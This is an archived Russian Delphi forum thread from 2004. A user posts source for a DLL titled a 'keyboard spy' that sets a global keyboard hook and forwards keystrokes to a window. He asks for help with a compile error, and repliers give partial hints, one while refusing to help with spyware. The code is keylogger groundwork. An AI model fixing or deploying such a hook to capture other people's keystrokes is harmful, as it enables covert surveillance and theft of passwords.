Текущий архив: 2004.04.04;
Скачать: CL | DM;
Вниз
Ошибка в "клавиатурном шпионе" Найти похожие ветки
← →
Серёга (2004-03-10 18:09) [0]Народ помогите! Скачал с этого "сайта клавиатурного шпиона", а при компиляции dll Дельфи выдаёт ошибку: "[Error] HookDLL.dpr(68): Not enough actual parameters" Вод код библиотеки: (в выделенной строке происходит ошибка) <br>
Library HookDLL;<br>
Uses<br>
Windows, Messages, SysUtils;<br>
Const<br>
GlobMapID = "Global Keyboard Hook Demo {917C91AA-88D5-4134-BB91-15161728594D}";<br>
Type<br>
PShareInf = ^TShareInf;<br>
TShareInf = Record<br>
AppWndHandle: HWND;<br>
OldHookHandle: HHOOK;<br>
hm:THandle;<br>
End;<br>
Var<br>
MapHandle: THandle = 0;<br>
ShareInf: PShareInf = nil;<br>
ptr:PByteArray;<br>
Procedure DLLEntryPoint(dwReason: DWORD); stdcall;<br>
Begin<br>
Case dwReason Of<br>
DLL_PROCESS_ATTACH:<br>
Begin<br>
MapHandle:=CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0, SizeOf(TShareInf), GlobMapID);
ShareInf:=MapViewOfFile(MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, SizeOf(TShareInf));
End;<br>
DLL_PROCESS_DETACH:<br>
Begin<br>
UnMapViewOfFile(ShareInf);<br>
CloseHandle(MapHandle);<br>
End<br>
End;<br>
End;<br>
Function KeyboardHook(Code: Integer; ParamW: WPARAM; ParamL: LPARAM): LRESULT;stdcall;<br>
Begin<br>
If Code IN [HC_ACTION, HC_NOREMOVE] Then<br>
Begin<br>
SendMessage(ShareInf^.AppWndHandle, WM_USER, ParamW, Code);<br>
End;<br>
Result := CallNextHookEx(ShareInf^.OldHookHandle, Code, ParamW, ParamL)<br>
End;<br>
Function SetKeyboardHook(Wnd: HWND): BOOL; stdcall;<br>
Begin<br>
If ShareInf<>Nil Then<br>
Begin<br>
ShareInf^.AppWndHandle:=Wnd;<br>
ShareInf^.OldHookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyboardHook, HInstance, 0);<br>
Result:=ShareInf^.OldHookHandle<>0;<br>
End<br>
Else Result:=False<br>
End;<br>
Function RemoveKeyboardHook: BOOL; stdcall;<br>
Begin
Result := UnhookWindowsHookEx(ShareInf^.OldHookHandle);<br>
CloseHandle(ShareInf^.hm);<br>
End;
Exports
SetKeyboardHook, RemoveKeyboardHook;<br>
BEGIN<br>
If DLLProc = Nil Then DLLProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);<br>
END.<br>
← →
Алхимик © (2004-03-10 20:18) [1]"[Error] HookDLL.dpr(68): Not enough actual parameters"
Смотрим наProcedure DLLEntryPoint(dwReason: DWORD); stdcall;
← →
Юрий Зотов © (2004-03-10 20:33) [2]Ба-а, какой знакомый код. Лихо его хацкеры-кряцкеры под свои черные замыслы приспособили. Правда, грязи немножко добавили... так что теперь и не знаю, остался ли он рабочим..
Ответ, собственно говоря, очевиден. Но, увы, на вопросы по всяким там "шпионам" я не отвечаю. Могу только подсказать - в D7 определение DLLProc по сравнению с прежним немного изменилось. Нужно добавить всего два символа - и ошибка исчезнет.
← →
Серёга (2004-03-11 20:38) [3]
> Ба-а, какой знакомый код. Лихо его хацкеры-кряцкеры под
> свои черные замыслы приспособили. Правда, грязи немножко
> добавили... так что теперь и не знаю, остался ли он рабочим..
>
> Ответ, собственно говоря, очевиден. Но, увы, на вопросы
> по всяким там "шпионам" я не отвечаю. Могу только подсказать
> - в D7 определение DLLProc по сравнению с прежним немного
> изменилось. Нужно добавить всего два символа - и ошибка
> исчезнет.
А кто Вам сказал, что я собираюсь писать "шпиона"? Я хотел написать трейнер для компьютерной игры, а в трейнерах как раз используется метод ловли клавиш, когда приложение не активно.
← →
ssk (2004-03-11 20:42) [4]>Юрий Зотов © (10.03.04 20:33) [2]
>Ба-а, какой знакомый код.
кажется, я знаю, почему ;-)
← →
Алхимик © (2004-03-11 22:23) [5]
> А кто Вам сказал, что я собираюсь писать "шпиона"?
Вы. В Subj-е.
← →
Андрей__ (2004-03-12 16:26) [6]
> > А кто Вам сказал, что я собираюсь писать "шпиона"?
>
> Вы. В Subj-е.
Я сказал что ошибка в "клавиатурном шпионе", написанным неизвестно кем, но не писал, что собираюсь использовать этот исходник как "клавиатурного шпиона".
Страницы: 1 вся ветка
Текущий архив: 2004.04.04;
Скачать: CL | DM;
Память: 0.48 MB
Время: 0.033 c